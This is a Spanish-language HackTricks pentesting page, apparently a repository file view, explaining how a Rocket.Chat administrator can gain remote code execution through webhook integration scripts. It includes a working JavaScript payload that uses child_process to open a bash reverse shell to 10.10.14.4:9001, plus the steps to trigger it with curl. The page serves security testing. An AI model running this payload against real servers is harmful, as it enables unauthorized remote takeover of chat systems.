hacktricks/network-services-pentesting/pentesting-web/rocket-chat.md

30 lines
1.5 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
## RCE
Si eres administrador dentro de Rocket Chat, puedes obtener RCE.
* Ve a **`Integraciones`** y selecciona **`Nueva Integración`** y elige cualquier opción: **`Incoming WebHook`** o **`Outgoing WebHook`**.
* `/admin/integrations/incoming`
<figure><img src="../../.gitbook/assets/image (4) (2).png" alt=""><figcaption></figcaption></figure>
* Según la [documentación](https://docs.rocket.chat/guides/administration/admin-panel/integrations), ambas usan ES2015 / ECMAScript 6 ([básicamente JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) para procesar los datos. Así que obtengamos un [rev shell para javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) como:
```javascript
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
* Configura el WebHook (el canal y el nombre de usuario para publicar deben existir):
<figure><img src="../../.gitbook/assets/image (1) (8).png" alt=""><figcaption></figcaption></figure>
* Configura el script del WebHook:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
* Guarda los cambios
* Obtén la URL del WebHook generada:
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
* Llámala con curl y deberías recibir la shell inversa.